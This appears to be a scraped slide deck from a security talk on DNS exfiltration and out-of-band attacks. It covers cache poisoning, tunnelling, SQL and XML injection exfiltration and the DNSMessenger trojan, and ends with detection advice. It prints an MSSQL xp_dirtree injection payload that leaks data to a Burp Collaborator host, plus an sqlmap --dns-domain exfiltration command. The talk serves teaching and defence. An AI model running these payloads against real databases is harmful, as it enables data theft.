lONG QUESTION ANSWER PAKISTAN STUDIES10.
lONG QUESTION ANSWER PAKISTAN STUDIES10.lONG QUESTION ANSWER PAKISTAN STUDIES10.
lONG QUESTION ANSWER PAKISTAN STUDIES10.
 
Presentation on Engagement in Book Clubs
Presentation on Engagement in Book ClubsPresentation on Engagement in Book Clubs
Presentation on Engagement in Book Clubs
 

DNS Exfiltration and Out-of-bound attacks

  • 1. DNS Exfiltration and Out-of-Band Attacks Nitesh Shilpkar : Rebel_Caesar
  • 2. Introduction • Currently working as an Assistant Manager for PwC Singapore. • Hold some abbreviations like OSCE, OSCP, OSWP and CREST-CRT • Received CVE’s for reporting issues in Adobe, Apple, Amazon and Google. • Acknowledged by over 40+ websites such as Facebook, Google, AT&T and others. • Hobbies: Writing Poems and Short-stories and Swimming : Rebel_Caesar
  • 3. Contents  About DNS (Domain Name System)  Types of DNS-based attacks  Data exfiltration using DNS  Out of band attacks- SQL and XML  DNS RAT (Remote Access Trojan) –DNS Messenger  DNS Exfiltration Restrictions  Best practices for using DNS data to enhance investigations
  • 4. Establishes an outbound connection through DNS Victim’s Computer Password.txt Attacker’s Computer
  • 5. Demo Victims’s Box Attacker’s Box Motive: Get the “password.txt” file from the Victim’s Box Burp collaborator sets up a DNS DNS Tunnel Password.txt
  • 6. What is DNS? Pic credit: Google.com Domain Name System (DNS) is a transactional protocol that resolves domain names to IP addresses.
  • 7. DNS Attacks and Organizations • DNS plays an important role in the organizations to be able to access internal and external websites • DNS works on port 53 • Security devices are often shipped with open port 53, 80 and 443 • Security monitoring is done for HTTP, HTTPS and sadly, not for DNS
  • 8. DNS Risks • DNS Cache Poisoning • DDOS Attacks • DNS Tunneling • Data Exfiltration
  • 9. DNS Cache Poisoning • Also known as “DNS Spoofing” • Redirection of traffic from legitimate source to malicious websites
  • 11. DDOS Attacks • The kind of attacks to disrupt a network service or website. • A recent attack on a website belonging to Brian Krebs was measured at 363.1 Gbps DNS Flood Attacks  Attackers attempt to flood the servers with legitimate DNS requests or non-existent domains. DNS Reflection Attacks  Attackers attempt to flood networks using a spoofed address to return the traffic to a victim. DNS Amplification Attacks  Attackers attempt to take advantage of the ability to store large amounts of data with specifically crafted packets.  Used to exploit the message packet within DNS packets when DNSSEC is implemented.
  • 12. DNS Tunneling • Attackers know that DNS is important for facilitating communication and fetching websites. • Attackers know that port 53, 80 and 443 are the common open ports on security devices such as firewalls. • Attackers also know that port 53 (DNS) is rarely monitored. Hence, this can be utilized for fetching data without detection • Various malware families use DNS for their command and control channel.
  • 13. Data Exfiltration • DNS Tunnelling is bi-directional whereas Data exfiltration is uni-directional. • DNS Tunneling involves pushing of a non-standard protocol or DNS through data packets • Data exfiltration can be exploited through SQL and XML injection. This type of exfiltration using XML or SQL is known as “Out-of-Band” Attacks.
  • 15. Data Exfiltration using SQL Case Study: declare @q varchar (200);set @q='p'+(SELECT SUBSTRING(@@version,1,9))+'.burpcollaborator.netfoo'; exec master.dbo.xp_dirtree @q;--
  • 16. Data Exfiltration using SQL Case Study:
  • 17. Data Exfiltration using SQL Data exfiltration through a vulnerable database can take place on the availability of subroutines that can be used directly or indirectly for the DNS resolution process. These kind of subroutines are then used for exploiting SQL injections. Microsoft SQL Server An extended procedure is a dynamic link library which runs directly in the address space of Microsoft SQL Server. Attackers can make use of any of the following extended stored procedures to make a DNS request: master..xp_dirtree() This is an extended stored procedure and is used to get the list of all folders and subfolders inside a folder. master..xp_fileexist() This is an extended stored procedure for checking the existence of a file on the file system. master..xp_subdirs() This is an extended stored procedure to get a list of folders inside a given folder.
  • 18. Data Exfiltration using SQL Oracle UTL_INADDR.GET_HOST_ADDRESS This provides procedure for internet address support. The procedure “GET_HOST_ADDRESS()” retrieves the IP address of a provided host. UTL_HTTP.REQUEST This is an extended procedure for providing HTTP requests. The procedure “REQUEST()” it retrieves data from the provided address. HTTPURITYPE.GETCLOB This is an extended procedure for providing Character Large Object (CLOB) from a given address. DBMS_LDAP.INIT This procedure enables programmers to access data from Lightweight Directory Access Protocol (LDAP) servers. It's INIT() procedure is used to initialize a session with the LDAP server.
  • 19. Data Exfiltration using SQL MySQL LOAD_FILE This function reads the file content and returns it as a string. PostgreSQL COPY This function copies data between a files system files and a table.
  • 20. Data Exfiltration using SQL MySQL LOAD_FILE This function reads the file content and returns it as a string. PostgreSQL COPY This function copies data between a files system files and a table.
  • 21. Data Exfiltration using XML Extensible Markup Language (XML) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. A typical XML request and response would like the following:
  • 22. Data Exfiltration using XML An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the following: • Information Disclosure • Denial of service • Server side request forgery • Port Scanning (Host Scan) • Local File Reading • Intranet Access
  • 23. Data Exfiltration using XML Case Study: We used BURP COLLABORATOR for exfiltration of data using DNS. We received a successful ping from the server using the DNS name defined.
  • 24. Magical Burp BURP COLLABORATER is a magical tool which helps you set a DNS server and listens on it. Any request generated and received by the DNS is showcased. The DNS requests when received can confirm a vulnerability like SQL, XML and external service interactions. These received requests could be a source of information in terms of the injected parameters. Setting up Burp Collaborator Client: 1. Open Burp 2. Go to Burp> Burp collaborator client
  • 25. Magical Burp BURP COLLABORATER client will start and would look similar to this :  Go to “Copy to Clipboard” and click on it.  You’ll get a new DNS address to test and listen to when provided with an input.
  • 26. Data Exfiltration using SQLMAP SQLMAP is one of the best known tools for SQL injection exploitation. It also provides a way for exfiltration of data using “–dns-domain” Example- sqlmap -u 'http://abc’ --level 5 --risk 3 --dns-domain opendns.online
  • 27. DNSMessenger  DNSMessenger was a Remote Access Trojan (RAT) discovered in 2017  It was used for exfiltration of data through DNS and evade security devices  It made use of the DNS TXT record queries and responses for a bidirectional control and command center  It made use of multi-staged powershell and was completely fileless Pic Credit: Cisco Talos
  • 28. DNSMessenger Explained • DNSMessenger used phishing mails and a malicious word document. • The word document consisted of multiple Powershell payloads • The last powershell was had a domain name configured which was used for communication. • The command and control environment used DNS queries and each data consisted of the following parts:  Session ID  Sequence number  Acknowledgment ID
  • 29. Data Exfiltration Restrictions Tunneling data using DNS could be easy, but even DNS comes with its own restrictions like the following-  Maximum of 253 characters in domain  Maximum of 63 characters per subdomain  Case-insensitive (so we use Base32 encoding)  TXT request to get maximum characters in response
  • 30. Leveraging DNS Organizations mostly are concerned with traffic that flow through the HTTP and HTTPS port and are heavily monitored. The DNS based port 53, is often neglected due to the sheer amount of traffic that is generated. DNS being the most significant part of an IT infrastructure can be leveraged to gather information and monitor for anomalies. This would help organizations detect attacks and help safeguard its infrastructure. The following could be taken as some of the steps as safeguards: Know the Organization:  Every organization has a security team which knows and understands the environment. They can easily differentiate between the normal traffic and a traffic flood. Keeping an eye at the DNS traffic outside work hours or unusual hours could be a security check. Top-Level Domains:  Organizations mostly have a check on the various top-level domains being accessed such as *.com, *net, *org. The organizations should look for malicious DNS requests and keep a track of the top-level domains being accessed such as *.tor, *.onion. High Byte Counts  One should check for DNS requests with higher byte counts.
  • 31. Leveraging DNS Whitelist the domains: All the domains, your applications or network talks to, should be whitelisted and should not have regular expressions but a full domain name.